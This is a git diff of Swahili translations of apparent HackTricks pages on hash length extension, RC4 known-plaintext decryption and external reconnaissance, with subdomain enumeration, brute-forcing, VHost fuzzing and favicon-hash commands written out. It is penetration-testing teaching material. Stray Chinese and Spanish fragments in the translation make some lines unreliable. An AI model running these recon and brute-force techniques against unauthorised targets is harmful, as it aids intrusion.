Basi, inawezekana kwa **mshambuliaji** **kuongeza** **data** na **kuunda** **sahihi** halali kwa **data ya awali + data iliyoongezwa**.
|
||||
|
||||
### Vipi?
|
||||
### Jinsi?
|
||||
|
||||
K基本上, algorithimu zinazohatarishwa zinaweza kuunda hash kwa kwanza **kuhashi block ya data**, na kisha, **kutoka** kwa **hash** iliyoundwa **awali** (hali), wana **ongeza block inayofuata ya data** na **kuhashi**.
|
||||
K基本的上, algorithimu zinazohatarishwa zinaweza kuunda hash kwa kwanza **kuhashi block ya data**, na kisha, **kutoka** kwa **hash** iliyoundwa **awali** (hali), wana **ongeza block inayofuata ya data** na **kuhashi**.
|
||||
|
||||
Basi, fikiria kwamba siri ni "siri" na data ni "data", MD5 ya "siri data" ni 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Ikiwa mshambuliaji anataka kuongeza mfuatano "append" anaweza:
|
||||
@ -29,7 +29,9 @@ Ikiwa mshambuliaji anataka kuongeza mfuatano "append" anaweza:
|
||||
|
||||
### **Chombo**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
### Marejeleo
|
||||
|
||||
|
@ -1,11 +1,15 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Ikiwa unaweza kwa namna fulani kuandika maandiko ya wazi kwa kutumia RC4, unaweza kufungua maudhui yoyote yaliyoandikwa kwa RC4 hiyo (ukitumia nenosiri lile lile) kwa kutumia tu kazi ya kuandika.
|
||||
Ikiwa unaweza kwa namna fulani kuandika maandiko ya wazi kwa kutumia RC4, unaweza kufungua maudhui yoyote yaliyoandikwa na RC4 hiyo (ukitumia nenosiri lile lile) kwa kutumia tu kazi ya kuandika.
|
||||
|
||||
Ikiwa unaweza kuandika maandiko ya wazi yanayojulikana unaweza pia kutoa nenosiri. Marejeleo zaidi yanaweza kupatikana katika mashine ya HTB Kryptos:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,16 +2,16 @@
|
||||
|
||||
# Muhtasari wa shambulio
|
||||
|
||||
Fikiria seva ambayo in **tishe** baadhi ya **data** kwa **kuongeza** **siri** kwa baadhi ya data ya wazi inayojulikana na kisha kuhashi data hiyo. Ikiwa unajua:
|
||||
Fikiria seva ambayo inafanya **kusaini** baadhi ya **data** kwa **kuongeza** **siri** kwa baadhi ya data ya wazi inayojulikana na kisha kuhashi data hiyo. Ikiwa unajua:
|
||||
|
||||
- **Urefu wa siri** (hii inaweza pia kubruteforced kutoka kwa anuwai ya urefu uliopewa)
|
||||
- **Data ya wazi**
|
||||
- **Algorithimu (na inahatarishwa kwa shambulio hili)**
|
||||
- **Padding inajulikana**
|
||||
- Kawaida moja ya chaguo la msingi inatumika, hivyo ikiwa mahitaji mengine 3 yanakidhi, hii pia inafanya hivyo
|
||||
- Kawaida moja ya chaguo-msingi inatumika, hivyo ikiwa mahitaji mengine 3 yanakidhi, hii pia inakidhi
|
||||
- Padding inatofautiana kulingana na urefu wa siri + data, ndivyo maana urefu wa siri unahitajika
|
||||
|
||||
Basi, inawezekana kwa **mshambuliaji** **kuongeza** **data** na **kuunda** **sahihi** halali kwa **data ya awali + data iliyoongezwa**.
|
||||
Basi, inawezekana kwa **mshambuliaji** **kuongeza** **data** na **kuunda** **saini** halali kwa **data ya awali + data iliyoongezwa**.
|
||||
|
||||
## Vipi?
|
||||
|
||||
@ -25,11 +25,13 @@ Ikiwa mshambuliaji anataka kuongeza mfuatano "append" anaweza:
|
||||
- Kuongeza mfuatano "append"
|
||||
- Kumaliza hash na hash inayotokana itakuwa **halali kwa "siri" + "data" + "padding" + "append"**
|
||||
|
||||
## **Chombo**
|
||||
## **Zana**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
Unaweza kupata shambulio hili limeelezwa vizuri katika [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
|
@ -4,8 +4,12 @@ Ikiwa unaweza kwa namna fulani kuandika maandiko ya wazi kwa kutumia RC4, unawez
|
||||
|
||||
Ikiwa unaweza kuandika maandiko ya wazi yanayojulikana unaweza pia kutoa nenosiri. Marejeleo zaidi yanaweza kupatikana katika mashine ya HTB Kryptos:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Ugunduzi wa Mali
|
||||
|
||||
> Kwa hivyo ulisema kwamba kila kitu kinachomilikiwa na kampuni fulani kiko ndani ya upeo, na unataka kubaini ni nini kampuni hii inamiliki kwa kweli.
|
||||
@ -24,10 +23,10 @@ Chaguo lingine ni kutembelea ukurasa wa **Wikipedia** wa kampuni kuu na kutafuta
|
||||
|
||||
### **ASNs**
|
||||
|
||||
Nambari ya mfumo huru (**ASN**) ni **nambari ya kipekee** iliyotolewa kwa **mfumo huru** (AS) na **Mamlaka ya Nambari za Mtandao (IANA)**.\
|
||||
Nambari ya mfumo huru (**ASN**) ni **nambari ya kipekee** inayotolewa kwa **mfumo huru** (AS) na **Mamlaka ya Nambari za Mtandao (IANA)**.\
|
||||
**AS** inajumuisha **vizuizi** vya **anwani za IP** ambazo zina sera iliyofafanuliwa wazi kwa kufikia mitandao ya nje na zinatawaliwa na shirika moja lakini zinaweza kuwa na waendeshaji kadhaa.
|
||||
|
||||
Ni ya kuvutia kubaini ikiwa **kampuni ina ASN yoyote iliyotolewa** ili kupata **anuwai zake za IP.** Itakuwa ya kuvutia kufanya **mtihani wa udhaifu** dhidi ya **michakato** yote ndani ya **upeo** na **kutafuta maeneo** ndani ya anuwai hizi za IP.\
|
||||
Ni ya kuvutia kubaini ikiwa **kampuni ina ASN yoyote** ili kupata **anuwai zake za IP.** Itakuwa ya kuvutia kufanya **mtihani wa udhaifu** dhidi ya **michakato** yote ndani ya **upeo** na **kutafuta maeneo** ndani ya anuwai hizi za IP.\
|
||||
Unaweza **kutafuta** kwa jina la kampuni, kwa **IP** au kwa **domain** katika [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Kulingana na eneo la kampuni, viungo hivi vinaweza kuwa na manufaa kukusanya data zaidi:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amerika Kaskazini),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Amerika ya Kusini),** [**RIPE NCC**](https://www.ripe.net) **(Ulaya). Hata hivyo, labda taarifa zote** muhimu **(anuwai za IP na Whois)** tayari zinaonekana katika kiungo cha kwanza.
|
||||
```bash
|
||||
@ -59,7 +58,7 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
|
||||
|
||||
Katika hatua hii tunajua **rasilimali zote ndani ya upeo**, hivyo ikiwa umepewa ruhusa unaweza kuzindua **scanner ya udhaifu** (Nessus, OpenVAS) juu ya mwenyeji wote.\
|
||||
Pia, unaweza kuzindua baadhi ya [**skana za bandari**](../pentesting-network/#discovering-hosts-from-the-outside) **au tumia huduma kama** shodan **kupata** bandari wazi **na kulingana na kile unachokipata unapaswa** kuangalia katika kitabu hiki jinsi ya pentest huduma kadhaa zinazoweza kukimbia.\
|
||||
**Pia, inaweza kuwa na faida kutaja kwamba unaweza pia kuandaa baadhi ya** orodha za majina ya mtumiaji ya kawaida **na** nywila **na kujaribu** bruteforce huduma na [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
**Pia, inaweza kuwa na faida kutaja kwamba unaweza pia kuandaa baadhi ya** orodha za jina la mtumiaji wa kawaida **na** nywila **na kujaribu** bruteforce huduma na [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domains
|
||||
|
||||
@ -71,7 +70,7 @@ Kwanza kabisa unapaswa kutafuta **kikoa kikuu**(s) cha kila kampuni. Kwa mfano,
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
Kama umepata anuwai zote za IP za majina ya kikoa unaweza kujaribu kufanya **reverse dns lookups** kwenye hizo **IPs ili kupata majina zaidi ya kikoa ndani ya upeo**. Jaribu kutumia baadhi ya seva za dns za mwathirika au seva maarufu za dns (1.1.1.1, 8.8.8.8)
|
||||
Kama umepata anuwai zote za IP za majina ya kikoa unaweza kujaribu kufanya **reverse dns lookups** kwenye hizo **IPs ili kupata majina mengine ya kikoa ndani ya upeo**. Jaribu kutumia baadhi ya seva za dns za mwathirika au seva maarufu za dns (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
@ -95,13 +94,13 @@ Unaweza kutumia zana za mtandaoni kama:
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - Si Bure
|
||||
|
||||
Unaweza kuendesha kazi hii kwa kutumia [**DomLink** ](https://github.com/vysecurity/DomLink)(inahitaji funguo ya API ya whoxy).\
|
||||
Unaweza pia kutekeleza ugunduzi wa moja kwa moja wa reverse whois kwa kutumia [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
Unaweza pia kufanya ugunduzi wa moja kwa moja wa reverse whois kwa kutumia [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Kumbuka kwamba unaweza kutumia mbinu hii kugundua majina zaidi ya kikoa kila wakati unapata kikoa kipya.**
|
||||
|
||||
### **Trackers**
|
||||
|
||||
Ikiwa unapata **ID sawa ya tracker sawa** katika kurasa 2 tofauti unaweza kudhani kwamba **kurasa zote mbili** zinasimamiwa na **timu moja**.\
|
||||
Ikiwa unapata **ID sawa ya tracker sawa** katika kurasa 2 tofauti unaweza kudhani kwamba **kurasa zote mbili** zinasimamiwa na **timu sawa**.\
|
||||
Kwa mfano, ikiwa unaona **Google Analytics ID** sawa au **Adsense ID** sawa kwenye kurasa kadhaa.
|
||||
|
||||
Kuna kurasa na zana ambazo zinakuwezesha kutafuta kwa trackers hizi na zaidi:
|
||||
@ -114,14 +113,14 @@ Kuna kurasa na zana ambazo zinakuwezesha kutafuta kwa trackers hizi na zaidi:
|
||||
|
||||
### **Favicon**
|
||||
|
||||
Je, unajua kwamba tunaweza kupata majina ya kikoa na sub domains zinazohusiana na lengo letu kwa kutafuta hash ya ikoni ya favicon sawa? Hii ndiyo hasa inayo fanywa na chombo [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) kilichotengenezwa na [@m4ll0k2](https://twitter.com/m4ll0k2). Hapa kuna jinsi ya kuitumia:
|
||||
Je, unajua kwamba tunaweza kupata maeneo yanayohusiana na sub domains kwa lengo letu kwa kutafuta hash ya ikoni sawa ya favicon? Hii ndiyo hasa inayo fanywa na chombo [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) kilichotengenezwa na [@m4ll0k2](https://twitter.com/m4ll0k2). Hapa kuna jinsi ya kuitumia:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||

|
||||
|
||||
Kwa kifupi, favihash itaturuhusu kugundua maeneo ambayo yana hash sawa ya favicon icon kama lengo letu.
|
||||
Kwa ufupi, favihash itaturuhusu kugundua maeneo ambayo yana hash sawa ya favicon icon kama lengo letu.
|
||||
|
||||
Zaidi ya hayo, unaweza pia kutafuta teknolojia ukitumia hash ya favicon kama ilivyoelezwa katika [**hiki kipande cha blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Hii inamaanisha kwamba ikiwa unajua **hash ya favicon ya toleo lenye udhaifu la teknolojia ya wavuti** unaweza kutafuta katika shodan na **kupata maeneo mengine yenye udhaifu**:
|
||||
```bash
|
||||
@ -140,65 +139,63 @@ fhash = mmh3.hash(favicon)
|
||||
print(f"{url} : {fhash}")
|
||||
return fhash
|
||||
```
|
||||
### **Copyright / Uniq string**
|
||||
### **Hakimiliki / Uniq string**
|
||||
|
||||
Tafuta ndani ya kurasa za wavuti **nyuzi ambazo zinaweza kushirikiwa kati ya wavuti tofauti katika shirika moja**. **Nyuzi za hakimiliki** zinaweza kuwa mfano mzuri. Kisha tafuta nyuzi hiyo katika **google**, katika **vivinjari** vingine au hata katika **shodan**: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT Time**
|
||||
### **Wakati wa CRT**
|
||||
|
||||
Ni kawaida kuwa na kazi ya cron kama
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
|
||||
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
kuongeza upya vyeti vyote vya kikoa kwenye seva. Hii inamaanisha kwamba hata kama CA iliyotumika kwa hili haipangi wakati ilizalishwa katika Wakati wa Uhalali, inawezekana **kupata maeneo yanayomilikiwa na kampuni moja katika kumbukumbu za uwazi wa vyeti**.\
|
||||
Angalia hii [**andika kwa maelezo zaidi**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Mail DMARC information
|
||||
### Taarifa za Barua DMARC
|
||||
|
||||
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**.
|
||||
Unaweza kutumia wavuti kama [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) au chombo kama [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) kupata **maeneo na subdomain zinazoshiriki taarifa sawa za dmarc**.
|
||||
|
||||
### **Passive Takeover**
|
||||
### **Kuchukua kwa Pasifiki**
|
||||
|
||||
Kwa kweli ni kawaida kwa watu kupewa subdomains kwa IPs ambazo ni za watoa huduma wa wingu na kwa wakati fulani **kupoteza anwani hiyo ya IP lakini kusahau kuondoa rekodi ya DNS**. Hivyo, tu **kuanzisha VM** katika wingu (kama Digital Ocean) utakuwa kweli **ukichukua baadhi ya subdomains**.
|
||||
Inaonekana ni kawaida kwa watu kupeana subdomains kwa IP ambazo zinamilikiwa na watoa huduma wa wingu na kwa wakati fulani **kupoteza anwani hiyo ya IP lakini kusahau kuondoa rekodi ya DNS**. Hivyo, tu **kuanzisha VM** katika wingu (kama Digital Ocean) utakuwa kweli **ukichukua baadhi ya subdomains**.
|
||||
|
||||
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
|
||||
[**Post hii**](https://kmsec.uk/blog/passive-takeover/) inaelezea hadithi kuhusu hilo na inapendekeza skripti ambayo **inaanzisha VM katika DigitalOcean**, **inapata** **IPv4** ya mashine mpya, na **inatafuta katika Virustotal kwa rekodi za subdomain** zinazopointia kwake.
|
||||
|
||||
### **Other ways**
|
||||
### **Njia Nyingine**
|
||||
|
||||
**Note that you can use this technique to discover more domain names every time you find a new domain.**
|
||||
**Kumbuka kwamba unaweza kutumia mbinu hii kugundua majina zaidi ya kikoa kila wakati unapata kikoa kipya.**
|
||||
|
||||
**Shodan**
|
||||
|
||||
Kama unavyojua jina la shirika linalomiliki nafasi ya IP. Unaweza kutafuta kwa data hiyo katika shodan ukitumia: `org:"Tesla, Inc."` Angalia mwenyeji waliopatikana kwa majina mapya yasiyotarajiwa katika cheti cha TLS.
|
||||
Kama unavyojua jina la shirika linalomiliki nafasi ya IP. Unaweza kutafuta kwa data hiyo katika shodan ukitumia: `org:"Tesla, Inc."` Angalia mwenyeji waliopatikana kwa maeneo mapya yasiyotarajiwa katika cheti cha TLS.
|
||||
|
||||
Unaweza kufikia **cheti cha TLS** cha ukurasa mkuu, kupata **jina la Shirika** na kisha kutafuta jina hilo ndani ya **vyeti vya TLS** vya kurasa zote za wavuti zinazojulikana na **shodan** kwa kichujio: `ssl:"Tesla Motors"` au tumia chombo kama [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Unaweza kufikia **cheti cha TLS** cha ukurasa mkuu, kupata **Jina la Shirika** na kisha kutafuta jina hilo ndani ya **vyeti vya TLS** vya kurasa zote za wavuti zinazojulikana na **shodan** kwa kichujio: `ssl:"Tesla Motors"` au tumia chombo kama [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)ni chombo kinachotafuta **domains related** na domain kuu na **subdomains** zake, ni ya kushangaza sana.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ni chombo kinachotafuta **maeneo yanayohusiana** na kikoa kikuu na **subdomains** zake, ni ya kushangaza sana.
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
|
||||
|
||||
If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
|
||||
&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||
### **Kutafuta udhaifu**
|
||||
|
||||
Angalia baadhi ya [kuchukua kikoa](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Labda kampuni fulani inatumia **kikoa fulani** lakini wame **poteza umiliki**. Jisajili (ikiwa ni ya bei nafuu) na uwajulishe kampuni hiyo.
|
||||
|
||||
Ikiwa unapata **kikoa chochote chenye IP tofauti** na zile ulizozipata tayari katika ugunduzi wa mali, unapaswa kufanya **uchunguzi wa msingi wa udhaifu** (ukitumia Nessus au OpenVAS) na baadhi ya [**uchunguzi wa bandari**](../pentesting-network/#discovering-hosts-from-the-outside) kwa **nmap/masscan/shodan**. Kulingana na huduma zipi zinazoendesha unaweza kupata katika **kitabu hiki hila za "kuvamia" hizo**.\
|
||||
&#xNAN;_Note kwamba wakati mwingine kikoa kinahostiwa ndani ya IP ambayo haidhibitiwi na mteja, hivyo si katika upeo, kuwa makini._
|
||||
|
||||
## Subdomains
|
||||
|
||||
> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
|
||||
> Tunajua kampuni zote ndani ya upeo, mali zote za kila kampuni na maeneo yote yanayohusiana na kampuni hizo.
|
||||
|
||||
Ni wakati wa kutafuta subdomains zote zinazowezekana za kila domain iliyopatikana.
|
||||
Ni wakati wa kupata subdomains zote zinazowezekana za kila kikoa kilichopatikana.
|
||||
|
||||
> [!TIP]
|
||||
> Note that some of the tools and techniques to find domains can also help to find subdomains
|
||||
> Kumbuka kwamba baadhi ya zana na mbinu za kutafuta maeneo zinaweza pia kusaidia kupata subdomains
|
||||
|
||||
### **DNS**
|
||||
|
||||
Tujaribu kupata **subdomains** kutoka kwa rekodi za **DNS**. Tunapaswa pia kujaribu kwa **Zone Transfer** (Ikiwa inahatarisha, unapaswa kuiripoti).
|
||||
Hebu jaribu kupata **subdomains** kutoka kwa rekodi za **DNS**. Tunapaswa pia kujaribu kwa **Transfer ya Zone** (Ikiwa inahatarisha, unapaswa kuiripoti).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
@ -285,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||
}
|
||||
crt tesla.com
|
||||
```
|
||||
- [**gau**](https://github.com/lc/gau)**:** inapata URLs zinazojulikana kutoka kwa Open Threat Exchange ya AlienVault, Wayback Machine, na Common Crawl kwa kikoa chochote kilichotolewa.
|
||||
- [**gau**](https://github.com/lc/gau)**:** inapata URLs zinazojulikana kutoka kwa Open Threat Exchange ya AlienVault, Wayback Machine, na Common Crawl kwa ajili ya kikoa chochote kilichotolewa.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
@ -318,7 +315,7 @@ python3 DomainTrail.py -d example.com
|
||||
- [**securitytrails.com**](https://securitytrails.com/) ina API ya bure kutafuta subdomains na historia ya IP
|
||||
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Mradi huu unatoa **bure subdomains zote zinazohusiana na programu za bug-bounty**. Unaweza kufikia data hii pia kwa kutumia [chaospy](https://github.com/dr-0x0x/chaospy) au hata kufikia upeo unaotumika na mradi huu [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
Mradi huu unatoa **bure subdomains zote zinazohusiana na programu za bug-bounty**. Unaweza kufikia data hii pia kwa kutumia [chaospy](https://github.com/dr-0x0x/chaospy) au hata kufikia upeo uliofanywa na mradi huu [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Unaweza kupata **kulinganisha** ya zana nyingi hapa: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
@ -326,7 +323,7 @@ Unaweza kupata **kulinganisha** ya zana nyingi hapa: [https://blog.blacklanterns
|
||||
|
||||
Hebu jaribu kutafuta subdomains mpya kwa kutumia brute-forcing DNS servers kwa kutumia majina ya subdomain yanayowezekana.
|
||||
|
||||
Kwa hatua hii utahitaji baadhi ya **orodha za maneno ya subdomains za kawaida kama**:
|
||||
Kwa hatua hii utahitaji baadhi ya **orodha za maneno ya subdomains kama**:
|
||||
|
||||
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||
@ -338,7 +335,7 @@ Na pia IP za resolvers nzuri za DNS. Ili kuunda orodha ya resolvers za DNS zinaz
|
||||
|
||||
Zana zinazopendekezwa zaidi kwa DNS brute-force ni:
|
||||
|
||||
- [**massdns**](https://github.com/blechschmidt/massdns): Hii ilikuwa zana ya kwanza iliyofanya DNS brute-force kwa ufanisi. Ni haraka sana hata hivyo inakabiliwa na matokeo ya uwongo.
|
||||
- [**massdns**](https://github.com/blechschmidt/massdns): Hii ilikuwa zana ya kwanza iliyofanya DNS brute-force kwa ufanisi. Ni haraka sana lakini inakabiliwa na matokeo ya uwongo.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
@ -364,7 +361,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
|
||||
Baada ya kupata subdomains kwa kutumia vyanzo vya wazi na brute-forcing, unaweza kuunda mabadiliko ya subdomains yaliyopatikana ili kujaribu kupata zaidi. Zana kadhaa ni muhimu kwa kusudi hili:
|
||||
|
||||
- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Imepewa majina ya domain na subdomains inazalisha permutations.
|
||||
- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Imepewa majina na subdomains inazalisha permutations.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
@ -373,7 +370,7 @@ cat subdomains.txt | dnsgen -
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
- [**gotator**](https://github.com/Josue87/gotator)**:** Imepewa majina ya maeneo na subdomains, inazalisha permutations. Ikiwa faili ya permutations haijatajwa, gotator itatumia yake mwenyewe.
|
||||
- [**gotator**](https://github.com/Josue87/gotator)**:** Iwapo kuna majina ya kikoa na subdomain, tengeneza permutations. Ikiwa hakuna faili ya permutations iliyotajwa, gotator itatumia faili yake mwenyewe.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
@ -388,7 +385,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Kulingana na kikoa, in **zalisha majina mapya ya subdomain** kulingana na mifumo iliyoonyeshwa ili kujaribu kugundua subdomain zaidi.
|
||||
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Kulingana na domain, in **zalisha majina mapya ya subdomain** kulingana na mifumo iliyoonyeshwa ili kujaribu kugundua subdomain zaidi.
|
||||
|
||||
#### Uzalishaji wa permutations smart
|
||||
|
||||
@ -398,19 +395,23 @@ python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyoandaliwa na algorithm rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za pembejeo zilizotolewa, kama vile orodha ya maneno iliyoundwa maalum au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina zaidi yanayohusiana ya domain na kuyapanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
|
||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyoandaliwa na algorithm rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za pembejeo zilizotolewa, kama vile orodha ya maneno iliyoundwa maalum au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina zaidi ya domain yanayohusiana na kupanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Mchakato wa Kugundua Subdomain**
|
||||
|
||||
Angalia chapisho hili la blogu nililoandika kuhusu jinsi ya **kujiandaa kugundua subdomain** kutoka kwa domain kwa kutumia **michakato ya Trickest** ili nisiwe na haja ya kuzindua zana nyingi kwa mkono kwenye kompyuta yangu:
|
||||
Angalia chapisho hili la blog nililoandika kuhusu jinsi ya **kujiandaa kugundua subdomain** kutoka kwa domain kwa kutumia **michakato ya Trickest** ili nisiwe na haja ya kuzindua zana nyingi kwa mkono kwenye kompyuta yangu:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
### **VHosts / Makaratasi ya Kijamii**
|
||||
### **VHosts / Makaribisho ya Kijamii**
|
||||
|
||||
Ikiwa umepata anwani ya IP inayojumuisha **ukurasa mmoja au kadhaa wa wavuti** zinazomilikiwa na subdomains, unaweza kujaribu **kutafuta subdomains nyingine zikiwa na wavuti katika IP hiyo** kwa kutafuta katika **vyanzo vya OSINT** kwa domains katika IP au kwa **kujaribu nguvu za VHost majina ya domain katika IP hiyo**.
|
||||
|
||||
@ -435,7 +436,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
||||
VHostScan -t example.com
|
||||
```
|
||||
> [!NOTE]
|
||||
> Kwa kutumia mbinu hii unaweza hata kufikia mwisho wa ndani/uliok escondido.
|
||||
> Kwa mbinu hii unaweza hata kufikia mwisho wa ndani/uliokithiri.
|
||||
|
||||
### **CORS Brute Force**
|
